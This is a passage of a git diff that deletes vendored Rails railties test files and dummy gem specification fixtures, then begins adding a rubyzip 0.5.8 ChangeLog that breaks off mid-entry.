-    assert_equal g.singular_name, g.file_name
-    assert_equal "admin_#{g.plural_name}", g.table_name
-    assert_equal %w(bar baz), g.args
-  end
-
-  def test_named_generator_attributes_without_pluralized
-    ActiveRecord::Base.pluralize_table_names = false
-    g = Rails::Generator::Base.instance('working', %w(admin/foo bar baz))
-    assert_equal "admin_#{g.singular_name}", g.table_name
-  end
-
-  def test_session_migration_generator_with_pluralization
-    g = Rails::Generator::Base.instance('session_migration')
-    assert_equal 'session'.pluralize, g.send(:default_session_table_name)
-    ActiveRecord::Base.pluralize_table_names = false
-    assert_equal 'session', g.send(:default_session_table_name)
-  end
-
-  def test_scaffold_controller_name
-    # Default behaviour is use the model name
-    g = Rails::Generator::Base.instance('scaffold', %w(Product))
-    assert_equal "Products", g.controller_name
-  end
-end
diff --git a/vendor/rails/railties/test/rails_info_controller_test.rb b/vendor/rails/railties/test/rails_info_controller_test.rb
deleted file mode 100644
index e274e1aa..00000000
--- a/vendor/rails/railties/test/rails_info_controller_test.rb
+++ /dev/null
@@ -1,52 +0,0 @@
-require 'abstract_unit'
-require 'action_controller'
-require 'action_controller/test_process'
-
-module Rails; end
-require 'rails/info'
-require 'rails/info_controller'
-
-class Rails::InfoController < ActionController::Base
-  @local_request = false
-  class << self
-    cattr_accessor :local_request
-  end
-  
-  # Re-raise errors caught by the controller.
-  def rescue_action(e) raise e end;
-  
-protected
-  def local_request?
-    self.class.local_request
-  end
-end
-
-ActionController::Routing::Routes.draw do |map|
-  map.connect ':controller/:action/:id'
-end
-
-class Rails::InfoControllerTest < ActionController::TestCase
-  def setup
-    @controller = Rails::InfoController.new
-    @request    = ActionController::TestRequest.new
-    @response   = ActionController::TestResponse.new
-
-    ActionController::Base.consider_all_requests_local = true
-  end
-
-  def test_rails_info_properties_table_rendered_for_local_request
-    Rails::InfoController.local_request = true
-    get :properties
-    assert_tag :tag => 'table'
-    assert_response :success
-  end
-  
-  def test_rails_info_properties_error_rendered_for_non_local_request
-    Rails::InfoController.local_request = false
-    ActionController::Base.consider_all_requests_local = false
-
-    get :properties
-    assert_tag :tag => 'p'
-    assert_response 500
-  end
-end
diff --git a/vendor/rails/railties/test/rails_info_test.rb b/vendor/rails/railties/test/rails_info_test.rb
deleted file mode 100644
index 9befd44a..00000000
--- a/vendor/rails/railties/test/rails_info_test.rb
+++ /dev/null
@@ -1,99 +0,0 @@
-$:.unshift File.dirname(__FILE__) + "/../lib"
-$:.unshift File.dirname(__FILE__) + "/../builtin/rails_info"
-$:.unshift File.dirname(__FILE__) + "/../../activesupport/lib"
-
-require 'test/unit'
-require 'active_support'
-
-unless defined?(Rails) && defined?(Rails::Info)
-  module Rails
-    class Info; end
-  end
-end
-
-class InfoTest < Test::Unit::TestCase
-  def setup
-    Rails.send :remove_const, :Info
-    silence_warnings { load 'rails/info.rb' }
-  end
-
-  def test_edge_rails_revision_not_set_when_svn_info_is_empty
-    Rails::Info.property 'Test that this will not be defined' do
-      Rails::Info.edge_rails_revision ''
-    end
-    assert !property_defined?('Test that this will not be defined')
-  end
-
-  def test_edge_rails_revision_extracted_from_svn_info
-    Rails::Info.property 'Test Edge Rails revision' do
-      Rails::Info.edge_rails_revision <<-EOS
-      commit 420c4b3d8878156d04f45e47050ddc62ae00c68c
-      Author: David Heinemeier Hansson <david@loudthinking.com>
-      Date:   Sun Apr 13 17:33:27 2008 -0500
-
-          Added Rails.public_path to control where HTML and assets are expected to be loaded from
-EOS
-    end
-
-    assert_property 'Test Edge Rails revision', '420c4b3d8878156d04f45e47050ddc62ae00c68c'
-  end
-
-  def test_property_with_block_swallows_exceptions_and_ignores_property
-    assert_nothing_raised do
-      Rails::Info.module_eval do
-        property('Bogus') {raise}
-      end
-    end
-    assert !property_defined?('Bogus')
-  end
-
-  def test_property_with_string
-    Rails::Info.module_eval do
-      property 'Hello', 'World'
-    end
-    assert_property 'Hello', 'World'
-  end
-
-  def test_property_with_block
-    Rails::Info.module_eval do
-      property('Goodbye') {'World'}
-    end
-    assert_property 'Goodbye', 'World'
-  end
-
-  def test_framework_version
-    assert_property 'Active Support version', ActiveSupport::VERSION::STRING
-  end
-
-  def test_frameworks_exist
-    Rails::Info.frameworks.each do |framework|
-      dir = File.dirname(__FILE__) + "/../../" + framework.gsub('_', '')
-      assert File.directory?(dir), "#{framework.classify} does not exist"
-    end
-  end
-
-  protected
-    def svn_info=(info)
-      Rails::Info.module_eval do
-        class << self
-          def svn_info
-            info
-          end
-        end
-      end
-    end
-
-    def properties
-      Rails::Info.properties
-    end
-
-    def property_defined?(property_name)
-      properties.names.include? property_name
-    end
-
-    def assert_property(property_name, value)
-      raise "Property #{property_name.inspect} not defined" unless
-        property_defined? property_name
-      assert_equal value, properties.value_for(property_name)
-    end
-end
diff --git a/vendor/rails/railties/test/secret_key_generation_test.rb b/vendor/rails/railties/test/secret_key_generation_test.rb
deleted file mode 100644
index 2c7c3d5d..00000000
--- a/vendor/rails/railties/test/secret_key_generation_test.rb
+++ /dev/null
@@ -1,38 +0,0 @@
-require 'abstract_unit'
-
-# Must set before requiring generator libs.
-if defined?(RAILS_ROOT)
-  RAILS_ROOT.replace "#{File.dirname(__FILE__)}/fixtures"
-else
-  RAILS_ROOT = "#{File.dirname(__FILE__)}/fixtures"
-end
-
-$LOAD_PATH.unshift "#{File.dirname(__FILE__)}/../lib"
-
-require 'initializer'
-
-# Mocks out the configuration
-module Rails
-  def self.configuration
-    Rails::Configuration.new
-  end
-end
-
-require 'rails_generator'
-require 'rails_generator/secret_key_generator'
-require 'rails_generator/generators/applications/app/app_generator'
-
-class SecretKeyGenerationTest < ActiveSupport::TestCase
-  SECRET_KEY_MIN_LENGTH = 128
-  APP_NAME = "foo"
-
-  def setup
-    @generator = Rails::SecretKeyGenerator.new(APP_NAME)
-  end
-
-  def test_secret_key_generation
-    assert_deprecated /ActiveSupport::SecureRandom\.hex\(64\)/ do
-      assert @generator.generate_secret.length >= SECRET_KEY_MIN_LENGTH
-    end
-  end
-end
diff --git a/vendor/rails/railties/test/vendor/gems/dummy-gem-a-0.4.0/.specification b/vendor/rails/railties/test/vendor/gems/dummy-gem-a-0.4.0/.specification
deleted file mode 100644
index 86dba209..00000000
--- a/vendor/rails/railties/test/vendor/gems/dummy-gem-a-0.4.0/.specification
+++ /dev/null
@@ -1,28 +0,0 @@
---- !ruby/object:Gem::Specification
-name: dummy-gem-a
-version: !ruby/object:Gem::Version
-  version: 0.4.0
-platform: ruby
-authors:
-- "Nobody"
-date: 2008-10-03 00:00:00 -04:00
-files:
-- lib
-- lib/dummy-gem-a.rb
-require_paths:
-- lib
-required_ruby_version: !ruby/object:Gem::Requirement
-  requirements:
-  - - ">="
-    - !ruby/object:Gem::Version
-      version: "0"
-  version:
-required_rubygems_version: !ruby/object:Gem::Requirement
-  requirements:
-  - - ">="
-    - !ruby/object:Gem::Version
-      version: "0"
-  version:
-requirements: []
-specification_version: 2
-summary: Dummy Gem A
diff --git a/vendor/rails/railties/test/vendor/gems/dummy-gem-a-0.4.0/lib/dummy-gem-a.rb b/vendor/rails/railties/test/vendor/gems/dummy-gem-a-0.4.0/lib/dummy-gem-a.rb
deleted file mode 100644
index 0453b38a..00000000
--- a/vendor/rails/railties/test/vendor/gems/dummy-gem-a-0.4.0/lib/dummy-gem-a.rb
+++ /dev/null
@@ -1 +0,0 @@
-DUMMY_GEM_A_VERSION="0.4.0"
diff --git a/vendor/rails/railties/test/vendor/gems/dummy-gem-b-0.4.0/.specification b/vendor/rails/railties/test/vendor/gems/dummy-gem-b-0.4.0/.specification
deleted file mode 100644
index 5ea692d7..00000000
--- a/vendor/rails/railties/test/vendor/gems/dummy-gem-b-0.4.0/.specification
+++ /dev/null
@@ -1,28 +0,0 @@
---- !ruby/object:Gem::Specification
-name: dummy-gem-b
-version: !ruby/object:Gem::Version
-  version: 0.4.0
-platform: ruby
-authors:
-- "Nobody"
-date: 2008-10-03 00:00:00 -04:00
-files:
-- lib
-- lib/dummy-gem-b.rb
-require_paths:
-- lib
-required_ruby_version: !ruby/object:Gem::Requirement
-  requirements:
-  - - ">="
-    - !ruby/object:Gem::Version
-      version: "0"
-  version:
-required_rubygems_version: !ruby/object:Gem::Requirement
-  requirements:
-  - - ">="
-    - !ruby/object:Gem::Version
-      version: "0"
-  version:
-requirements: []
-specification_version: 2
-summary: Dummy Gem B
diff --git a/vendor/rails/railties/test/vendor/gems/dummy-gem-b-0.4.0/lib/dummy-gem-b.rb b/vendor/rails/railties/test/vendor/gems/dummy-gem-b-0.4.0/lib/dummy-gem-b.rb
deleted file mode 100644
index 850b5dda..00000000
--- a/vendor/rails/railties/test/vendor/gems/dummy-gem-b-0.4.0/lib/dummy-gem-b.rb
+++ /dev/null
@@ -1 +0,0 @@
-DUMMY_GEM_B_VERSION="0.4.0"
diff --git a/vendor/rails/railties/test/vendor/gems/dummy-gem-b-0.6.0/.specification b/vendor/rails/railties/test/vendor/gems/dummy-gem-b-0.6.0/.specification
deleted file mode 100644
index ab470712..00000000
--- a/vendor/rails/railties/test/vendor/gems/dummy-gem-b-0.6.0/.specification
+++ /dev/null
@@ -1,28 +0,0 @@
---- !ruby/object:Gem::Specification
-name: dummy-gem-b
-version: !ruby/object:Gem::Version
-  version: 0.6.0
-platform: ruby
-authors:
-- "Nobody"
-date: 2008-10-03 00:00:00 -04:00
-files:
-- lib
-- lib/dummy-gem-b.rb
-require_paths:
-- lib
-required_ruby_version: !ruby/object:Gem::Requirement
-  requirements:
-  - - ">="
-    - !ruby/object:Gem::Version
-      version: "0"
-  version:
-required_rubygems_version: !ruby/object:Gem::Requirement
-  requirements:
-  - - ">="
-    - !ruby/object:Gem::Version
-      version: "0"
-  version:
-requirements: []
-specification_version: 2
-summary: Dummy Gem B
diff --git a/vendor/rails/railties/test/vendor/gems/dummy-gem-b-0.6.0/lib/dummy-gem-b.rb b/vendor/rails/railties/test/vendor/gems/dummy-gem-b-0.6.0/lib/dummy-gem-b.rb
deleted file mode 100644
index 7d6d01cd..00000000
--- a/vendor/rails/railties/test/vendor/gems/dummy-gem-b-0.6.0/lib/dummy-gem-b.rb
+++ /dev/null
@@ -1 +0,0 @@
-DUMMY_GEM_B_VERSION="0.6.0"
diff --git a/vendor/rails/railties/test/vendor/gems/dummy-gem-c-0.4.0/.specification b/vendor/rails/railties/test/vendor/gems/dummy-gem-c-0.4.0/.specification
deleted file mode 100644
index f90f6042..00000000
--- a/vendor/rails/railties/test/vendor/gems/dummy-gem-c-0.4.0/.specification
+++ /dev/null
@@ -1,28 +0,0 @@
---- !ruby/object:Gem::Specification
-name: dummy-gem-c
-version: !ruby/object:Gem::Version
-  version: 0.4.0
-platform: ruby
-authors:
-- "Nobody"
-date: 2008-10-03 00:00:00 -04:00
-files:
-- lib
-- lib/dummy-gem-c.rb
-require_paths:
-- lib
-required_ruby_version: !ruby/object:Gem::Requirement
-  requirements:
-  - - ">="
-    - !ruby/object:Gem::Version
-      version: "0"
-  version:
-required_rubygems_version: !ruby/object:Gem::Requirement
-  requirements:
-  - - ">="
-    - !ruby/object:Gem::Version
-      version: "0"
-  version:
-requirements: []
-specification_version: 2
-summary: Dummy Gem C
diff --git a/vendor/rails/railties/test/vendor/gems/dummy-gem-c-0.4.0/lib/dummy-gem-c.rb b/vendor/rails/railties/test/vendor/gems/dummy-gem-c-0.4.0/lib/dummy-gem-c.rb
deleted file mode 100644
index 1a416bef..00000000
--- a/vendor/rails/railties/test/vendor/gems/dummy-gem-c-0.4.0/lib/dummy-gem-c.rb
+++ /dev/null
@@ -1 +0,0 @@
-DUMMY_GEM_C_VERSION="0.4.0"
diff --git a/vendor/rails/railties/test/vendor/gems/dummy-gem-c-0.6.0/.specification b/vendor/rails/railties/test/vendor/gems/dummy-gem-c-0.6.0/.specification
deleted file mode 100644
index e75c0aa6..00000000
--- a/vendor/rails/railties/test/vendor/gems/dummy-gem-c-0.6.0/.specification
+++ /dev/null
@@ -1,28 +0,0 @@
---- !ruby/object:Gem::Specification
-name: dummy-gem-c
-version: !ruby/object:Gem::Version
-  version: 0.6.0
-platform: ruby
-authors:
-- "Nobody"
-date: 2008-10-03 00:00:00 -04:00
-files:
-- lib
-- lib/dummy-gem-c.rb
-require_paths:
-- lib
-required_ruby_version: !ruby/object:Gem::Requirement
-  requirements:
-  - - ">="
-    - !ruby/object:Gem::Version
-      version: "0"
-  version:
-required_rubygems_version: !ruby/object:Gem::Requirement
-  requirements:
-  - - ">="
-    - !ruby/object:Gem::Version
-      version: "0"
-  version:
-requirements: []
-specification_version: 2
-summary: Dummy Gem C
diff --git a/vendor/rails/railties/test/vendor/gems/dummy-gem-c-0.6.0/lib/dummy-gem-c.rb b/vendor/rails/railties/test/vendor/gems/dummy-gem-c-0.6.0/lib/dummy-gem-c.rb
deleted file mode 100644
index 9ba2ca8b..00000000
--- a/vendor/rails/railties/test/vendor/gems/dummy-gem-c-0.6.0/lib/dummy-gem-c.rb
+++ /dev/null
@@ -1 +0,0 @@
-DUMMY_GEM_C_VERSION="0.6.0"
diff --git a/vendor/rails/railties/test/vendor/gems/dummy-gem-d-1.0.0/lib/dummy-gem-d.rb b/vendor/rails/railties/test/vendor/gems/dummy-gem-d-1.0.0/lib/dummy-gem-d.rb
deleted file mode 100644
index e5cb007e..00000000
--- a/vendor/rails/railties/test/vendor/gems/dummy-gem-d-1.0.0/lib/dummy-gem-d.rb
+++ /dev/null
@@ -1 +0,0 @@
-DUMMY_GEM_D_VERSION="1.0.0"
diff --git a/vendor/rails/railties/test/vendor/gems/dummy-gem-e-1.0.0/.specification b/vendor/rails/railties/test/vendor/gems/dummy-gem-e-1.0.0/.specification
deleted file mode 100644
index ce4443c8..00000000
--- a/vendor/rails/railties/test/vendor/gems/dummy-gem-e-1.0.0/.specification
+++ /dev/null
@@ -1,28 +0,0 @@
---- !ruby/object:Gem::Specification
-name: dummy-gem-e
-version: !ruby/object:Gem::Version
-  version: 1.3.0
-platform: ruby
-authors:
-- "Nobody"
-date: 2008-10-03 00:00:00 -04:00
-files:
-- lib
-- lib/dummy-gem-e.rb
-require_paths:
-- lib
-required_ruby_version: !ruby/object:Gem::Requirement
-  requirements:
-  - - ">="
-    - !ruby/object:Gem::Version
-      version: "0"
-  version:
-required_rubygems_version: !ruby/object:Gem::Requirement
-  requirements:
-  - - ">="
-    - !ruby/object:Gem::Version
-      version: "0"
-  version:
-requirements: []
-specification_version: 2
-summary: Dummy Gem E
diff --git a/vendor/rails/railties/test/vendor/gems/dummy-gem-e-1.0.0/lib/dummy-gem-e.rb b/vendor/rails/railties/test/vendor/gems/dummy-gem-e-1.0.0/lib/dummy-gem-e.rb
deleted file mode 100644
index 48bf91a7..00000000
--- a/vendor/rails/railties/test/vendor/gems/dummy-gem-e-1.0.0/lib/dummy-gem-e.rb
+++ /dev/null
@@ -1 +0,0 @@
-DUMMY_GEM_E_VERSION="1.0.0"
diff --git a/vendor/rails/railties/test/vendor/gems/dummy-gem-f-1.0.0/.specification b/vendor/rails/railties/test/vendor/gems/dummy-gem-f-1.0.0/.specification
deleted file mode 100644
index 70a36b9a..00000000
--- a/vendor/rails/railties/test/vendor/gems/dummy-gem-f-1.0.0/.specification
+++ /dev/null
@@ -1,39 +0,0 @@
---- !ruby/object:Gem::Specification
-name: dummy-gem-f
-version: !ruby/object:Gem::Version
-  version: 1.3.0
-platform: ruby
-authors:
-- "Nobody"
-date: 2008-10-03 00:00:00 -04:00
-dependencies:
-- !ruby/object:Gem::Dependency
-  name: absolutely-no-such-gem
-  type: :runtime
-  version_requirement:
-  version_requirements: !ruby/object:Gem::Requirement
-    requirements:
-    - - ">="
-      - !ruby/object:Gem::Version
-        version: 1.0.0
-    version:
-files:
-- lib
-- lib/dummy-gem-f.rb
-require_paths:
-- lib
-required_ruby_version: !ruby/object:Gem::Requirement
-  requirements:
-  - - ">="
-    - !ruby/object:Gem::Version
-      version: "0"
-  version:
-required_rubygems_version: !ruby/object:Gem::Requirement
-  requirements:
-  - - ">="
-    - !ruby/object:Gem::Version
-      version: "0"
-  version:
-requirements: []
-specification_version: 2
-summary: Dummy Gem F
diff --git a/vendor/rails/railties/test/vendor/gems/dummy-gem-f-1.0.0/lib/dummy-gem-f.rb b/vendor/rails/railties/test/vendor/gems/dummy-gem-f-1.0.0/lib/dummy-gem-f.rb
deleted file mode 100644
index 0271c8c4..00000000
--- a/vendor/rails/railties/test/vendor/gems/dummy-gem-f-1.0.0/lib/dummy-gem-f.rb
+++ /dev/null
@@ -1 +0,0 @@
-DUMMY_GEM_F_VERSION="1.0.0"
diff --git a/vendor/rails/railties/test/vendor/gems/dummy-gem-g-1.0.0/.specification b/vendor/rails/railties/test/vendor/gems/dummy-gem-g-1.0.0/.specification
deleted file mode 100644
index 27e29912..00000000
--- a/vendor/rails/railties/test/vendor/gems/dummy-gem-g-1.0.0/.specification
+++ /dev/null
@@ -1,39 +0,0 @@
---- !ruby/object:Gem::Specification
-name: dummy-gem-g
-version: !ruby/object:Gem::Version
-  version: 1.3.0
-platform: ruby
-authors:
-- "Nobody"
-date: 2008-10-03 00:00:00 -04:00
-dependencies:
-- !ruby/object:Gem::Dependency
-  name: dummy-gem-f
-  type: :runtime
-  version_requirement:
-  version_requirements: !ruby/object:Gem::Requirement
-    requirements:
-    - - ">="
-      - !ruby/object:Gem::Version
-        version: 1.0.0
-    version:
-files:
-- lib
-- lib/dummy-gem-g.rb
-require_paths:
-- lib
-required_ruby_version: !ruby/object:Gem::Requirement
-  requirements:
-  - - ">="
-    - !ruby/object:Gem::Version
-      version: "0"
-  version:
-required_rubygems_version: !ruby/object:Gem::Requirement
-  requirements:
-  - - ">="
-    - !ruby/object:Gem::Version
-      version: "0"
-  version:
-requirements: []
-specification_version: 2
-summary: Dummy Gem G
diff --git a/vendor/rails/railties/test/vendor/gems/dummy-gem-g-1.0.0/lib/dummy-gem-g.rb b/vendor/rails/railties/test/vendor/gems/dummy-gem-g-1.0.0/lib/dummy-gem-g.rb
deleted file mode 100644
index 8fc05658..00000000
--- a/vendor/rails/railties/test/vendor/gems/dummy-gem-g-1.0.0/lib/dummy-gem-g.rb
+++ /dev/null
@@ -1 +0,0 @@
-DUMMY_GEM_G_VERSION="1.0.0"
diff --git a/vendor/rails/railties/test/vendor/gems/dummy-gem-h-1.0.0/.specification b/vendor/rails/railties/test/vendor/gems/dummy-gem-h-1.0.0/.specification
deleted file mode 100644
index b3f79309..00000000
--- a/vendor/rails/railties/test/vendor/gems/dummy-gem-h-1.0.0/.specification
+++ /dev/null
@@ -1,29 +0,0 @@
---- !ruby/object:Gem::Specification
-name: dummy-gem-h
-version: !ruby/object:Gem::Version
-  version: 1.3.0
-platform: ruby
-authors:
-- "Nobody"
-date: 2008-10-03 00:00:00 -04:00
-dependencies:
-files:
-- lib
-- lib/dummy-gem-h.rb
-require_paths:
-- lib
-required_ruby_version: !ruby/object:Gem::Requirement
-  requirements:
-  - - ">="
-    - !ruby/object:Gem::Version
-      version: "0"
-  version:
-required_rubygems_version: !ruby/object:Gem::Requirement
-  requirements:
-  - - ">="
-    - !ruby/object:Gem::Version
-      version: "0"
-  version:
-requirements: []
-specification_version: 2
-summary: Dummy Gem H
diff --git a/vendor/rails/railties/test/vendor/gems/dummy-gem-h-1.0.0/lib/dummy-gem-h.rb b/vendor/rails/railties/test/vendor/gems/dummy-gem-h-1.0.0/lib/dummy-gem-h.rb
deleted file mode 100644
index 0f912349..00000000
--- a/vendor/rails/railties/test/vendor/gems/dummy-gem-h-1.0.0/lib/dummy-gem-h.rb
+++ /dev/null
@@ -1 +0,0 @@
-DUMMY_GEM_H_VERSION="1.0.0"
diff --git a/vendor/rails/railties/test/vendor/gems/dummy-gem-i-1.0.0/.specification b/vendor/rails/railties/test/vendor/gems/dummy-gem-i-1.0.0/.specification
deleted file mode 100644
index 50b4969d..00000000
--- a/vendor/rails/railties/test/vendor/gems/dummy-gem-i-1.0.0/.specification
+++ /dev/null
@@ -1,41 +0,0 @@
---- !ruby/object:Gem::Specification
-name: dummy-gem-i
-version: !ruby/object:Gem::Version
-  version: 1.3.0
-platform: ruby
-authors:
-- "Nobody"
-date: 2008-10-03 00:00:00 -04:00
-dependencies:
-- !ruby/object:Gem::Dependency
-  name: dummy-gem-i
-  type: :runtime
-  version_requirement:
-  version_requirements: !ruby/object:Gem::Requirement
-    requirements:
-    - - ">="
-      - !ruby/object:Gem::Version
-        version: 1.0.0
-    version:
-extensions:
-- ext/dummy-gem-i/extconf.rb
-files:
-- lib
-- lib/dummy-gem-i.rb
-require_paths:
-- lib
-required_ruby_version: !ruby/object:Gem::Requirement
-  requirements:
-  - - ">="
-    - !ruby/object:Gem::Version
-      version: "0"
-  version:
-required_rubygems_version: !ruby/object:Gem::Requirement
-  requirements:
-  - - ">="
-    - !ruby/object:Gem::Version
-      version: "0"
-  version:
-requirements: []
-specification_version: 2
-summary: Dummy Gem G
diff --git a/vendor/rails/railties/test/vendor/gems/dummy-gem-i-1.0.0/ext/dummy-gem-i/Makefile b/vendor/rails/railties/test/vendor/gems/dummy-gem-i-1.0.0/ext/dummy-gem-i/Makefile
deleted file mode 100644
index e69de29b..00000000
diff --git a/vendor/rails/railties/test/vendor/gems/dummy-gem-i-1.0.0/lib/dummy-gem-i.rb b/vendor/rails/railties/test/vendor/gems/dummy-gem-i-1.0.0/lib/dummy-gem-i.rb
deleted file mode 100644
index 2f9a376c..00000000
--- a/vendor/rails/railties/test/vendor/gems/dummy-gem-i-1.0.0/lib/dummy-gem-i.rb
+++ /dev/null
@@ -1 +0,0 @@
-DUMMY_GEM_I_VERSION="1.0.0"
diff --git a/vendor/rails/railties/test/vendor/gems/dummy-gem-j-1.0.0/.specification b/vendor/rails/railties/test/vendor/gems/dummy-gem-j-1.0.0/.specification
deleted file mode 100644
index 2c456546..00000000
--- a/vendor/rails/railties/test/vendor/gems/dummy-gem-j-1.0.0/.specification
+++ /dev/null
@@ -1,41 +0,0 @@
---- !ruby/object:Gem::Specification
-name: dummy-gem-j
-version: !ruby/object:Gem::Version
-  version: 1.3.0
-platform: ruby
-authors:
-- "Nobody"
-date: 2008-10-03 00:00:00 -04:00
-dependencies:
-- !ruby/object:Gem::Dependency
-  name: dummy-gem-j
-  type: :runtime
-  version_requirement:
-  version_requirements: !ruby/object:Gem::Requirement
-    requirements:
-    - - ">="
-      - !ruby/object:Gem::Version
-        version: 1.0.0
-    version:
-extensions:
-- ext/dummy-gem-j/extconf.rb
-files:
-- lib
-- lib/dummy-gem-j.rb
-require_paths:
-- lib
-required_ruby_version: !ruby/object:Gem::Requirement
-  requirements:
-  - - ">="
-    - !ruby/object:Gem::Version
-      version: "0"
-  version:
-required_rubygems_version: !ruby/object:Gem::Requirement
-  requirements:
-  - - ">="
-    - !ruby/object:Gem::Version
-      version: "0"
-  version:
-requirements: []
-specification_version: 2
-summary: Dummy Gem G
diff --git a/vendor/rails/railties/test/vendor/gems/dummy-gem-j-1.0.0/lib/dummy-gem-j.rb b/vendor/rails/railties/test/vendor/gems/dummy-gem-j-1.0.0/lib/dummy-gem-j.rb
deleted file mode 100644
index 8ecd363f..00000000
--- a/vendor/rails/railties/test/vendor/gems/dummy-gem-j-1.0.0/lib/dummy-gem-j.rb
+++ /dev/null
@@ -1 +0,0 @@
-DUMMY_GEM_J_VERSION="1.0.0"
diff --git a/vendor/rails/railties/test/vendor/gems/dummy-gem-k-1.0.0/.specification b/vendor/rails/railties/test/vendor/gems/dummy-gem-k-1.0.0/.specification
deleted file mode 100644
index 20edd0f8..00000000
--- a/vendor/rails/railties/test/vendor/gems/dummy-gem-k-1.0.0/.specification
+++ /dev/null
@@ -1,49 +0,0 @@
---- !ruby/object:Gem::Specification
-name: dummy-gem-k
-version: !ruby/object:Gem::Version
-  version: 1.3.0
-platform: ruby
-authors:
-- "Nobody"
-date: 2008-10-03 00:00:00 -04:00
-dependencies:
-- !ruby/object:Gem::Dependency
-  name: dummy-gem-k
-  type: :runtime
-  version_requirement:
-  version_requirements: !ruby/object:Gem::Requirement
-    requirements:
-    - - ">="
-      - !ruby/object:Gem::Version
-        version: 1.0.0
-    version:
-- !ruby/object:Gem::Dependency
-  name: dummy-gem-h
-  type: :development
-  version_requirement:
-  version_requirements: !ruby/object:Gem::Requirement
-    requirements:
-    - - ">="
-      - !ruby/object:Gem::Version
-        version: 1.0.0
-    version:
-files:
-- lib
-- lib/dummy-gem-k.rb
-require_paths:
-- lib
-required_ruby_version: !ruby/object:Gem::Requirement
-  requirements:
-  - - ">="
-    - !ruby/object:Gem::Version
-      version: "0"
-  version:
-required_rubygems_version: !ruby/object:Gem::Requirement
-  requirements:
-  - - ">="
-    - !ruby/object:Gem::Version
-      version: "0"
-  version:
-requirements: []
-specification_version: 2
-summary: Dummy Gem I
diff --git a/vendor/rails/railties/test/vendor/gems/dummy-gem-k-1.0.0/lib/dummy-gem-k.rb b/vendor/rails/railties/test/vendor/gems/dummy-gem-k-1.0.0/lib/dummy-gem-k.rb
deleted file mode 100644
index 97fb1d69..00000000
--- a/vendor/rails/railties/test/vendor/gems/dummy-gem-k-1.0.0/lib/dummy-gem-k.rb
+++ /dev/null
@@ -1 +0,0 @@
-DUMMY_GEM_K_VERSION="1.0.0"
diff --git a/vendor/rails/railties/test/vendor/gems/dummy-gem-l-1.0.0-x86-mswin32/.specification b/vendor/rails/railties/test/vendor/gems/dummy-gem-l-1.0.0-x86-mswin32/.specification
deleted file mode 100644
index cb3ff922..00000000
--- a/vendor/rails/railties/test/vendor/gems/dummy-gem-l-1.0.0-x86-mswin32/.specification
+++ /dev/null
@@ -1,28 +0,0 @@
---- !ruby/object:Gem::Specification
-name: dummy-gem-l
-version: !ruby/object:Gem::Version
-  version: 1.0.0
-platform: mswin32
-authors:
-- "Nobody"
-date: 2008-10-03 00:00:00 -04:00
-files:
-- lib
-- lib/dummy-gem-l.rb
-require_paths:
-- lib
-required_ruby_version: !ruby/object:Gem::Requirement
-  requirements:
-  - - ">="
-    - !ruby/object:Gem::Version
-      version: "0"
-  version:
-required_rubygems_version: !ruby/object:Gem::Requirement
-  requirements:
-  - - ">="
-    - !ruby/object:Gem::Version
-      version: "0"
-  version:
-requirements: []
-specification_version: 2
-summary: Dummy Gem L
diff --git a/vendor/rails/railties/test/vendor/gems/dummy-gem-l-1.0.0-x86-mswin32/lib/dummy-gem-l.rb b/vendor/rails/railties/test/vendor/gems/dummy-gem-l-1.0.0-x86-mswin32/lib/dummy-gem-l.rb
deleted file mode 100644
index edade803..00000000
--- a/vendor/rails/railties/test/vendor/gems/dummy-gem-l-1.0.0-x86-mswin32/lib/dummy-gem-l.rb
+++ /dev/null
@@ -1 +0,0 @@
-DUMMY_GEM_L_VERSION="1.0.0"
diff --git a/vendor/rubyzip-0.5.8/ChangeLog b/vendor/rubyzip-0.5.8/ChangeLog
new file mode 100644
index 00000000..1bb67582
--- /dev/null
+++ b/vendor/rubyzip-0.5.8/ChangeLog
@@ -0,0 +1,1273 @@
+2005-03-17 18:11  thomas
+
+	* NEWS, README, lib/zip/zip.rb: [no log message]
+
+2005-03-17 18:04  thomas
+
+	* install.rb: Fixed install.rb
+
+2005-03-03 18:38  thomas
+
+	* Rakefile: [no log message]
+
+2005-02-27 16:23  thomas
+
+	* lib/zip/ziprequire.rb: Added documentation to ziprequire
+
+2005-02-27 16:17  thomas
+
+	* README, TODO, lib/zip/ziprequire.rb: Added documentation to
+	  ziprequire
+
+2005-02-27 15:02  thomas
+
+	* Rakefile, test/ziptest.rb: [no log message]
+
+2005-02-19 21:30  thomas
+
+	* lib/zip/ioextras.rb, lib/zip/stdrubyext.rb,
+	  lib/zip/tempfile_bugfixed.rb, lib/zip/zip.rb,
+	  lib/zip/ziprequire.rb, test/ioextrastest.rb,
+	  test/stdrubyexttest.rb, test/zipfilesystemtest.rb,
+	  test/ziprequiretest.rb, test/ziptest.rb: Added more rdoc and
+	  changed the remaining tests to Test::Unit
+
+2005-02-19 20:28  thomas
+
+	* lib/zip/: ioextras.rb, zip.rb: Added documentation to
+	  ZipInputStream and ZipOutputStream
+
+2005-02-18 10:27  thomas
+
+	* README: [no log message]
+
+2005-02-17 23:21  thomas
+
+	* README, Rakefile: Added ppackage (publish package) task to
+	  Rakefile
+
+2005-02-17 22:49  thomas
+
+	* README, Rakefile, TODO: Added pdoc (publish doc) task to Rakefile
+
+2005-02-17 21:27  thomas
+
+	* README, Rakefile, TODO, lib/zip/stdrubyext.rb, lib/zip/zip.rb,
+	  lib/zip/zipfilesystem.rb: Added a bunch of documentation
+
+2005-02-17 09:47  thomas
+
+	* test/ziptest.rb: [no log message]
+
+2005-02-16 20:04  thomas
+
+	* NEWS, README, Rakefile: Improved documentation and added rdoc
+	  task to Rakefile
+
+2005-02-16 19:01  thomas
+
+	* NEWS, Rakefile, lib/zip/zip.rb: [no log message]
+
+2005-02-16 18:47  thomas
+
+	* Rakefile, samples/example.rb, samples/example_filesystem.rb,
+	  samples/gtkRubyzip.rb, samples/write_simple.rb,
+	  samples/zipfind.rb, test/.cvsignore, test/gentestfiles.rb:
+	  Improvements to Rakefile
+
+2005-02-15 23:35  thomas
+
+	* NEWS, TODO: [no log message]
+
+2005-02-15 23:26  thomas
+
+	* Rakefile, rubyzip.gemspec: Now uses Rake to build gem
+
+2005-02-15 22:52  thomas
+
+	* Rakefile: [no log message]
+
+2005-02-15 22:39  thomas
+
+	* lib/zip/zip.rb, test/.cvsignore, test/ziptest.rb, NEWS: Fixed
+	  compatibility issue with ruby 1.8.2. Migrated test suite to
+	  Test::Unit
+
+2005-02-15 22:10  thomas
+
+	* NEWS, lib/zip/ioextras.rb, lib/zip/stdrubyext.rb,
+	  lib/zip/tempfile_bugfixed.rb, lib/zip/zip.rb,
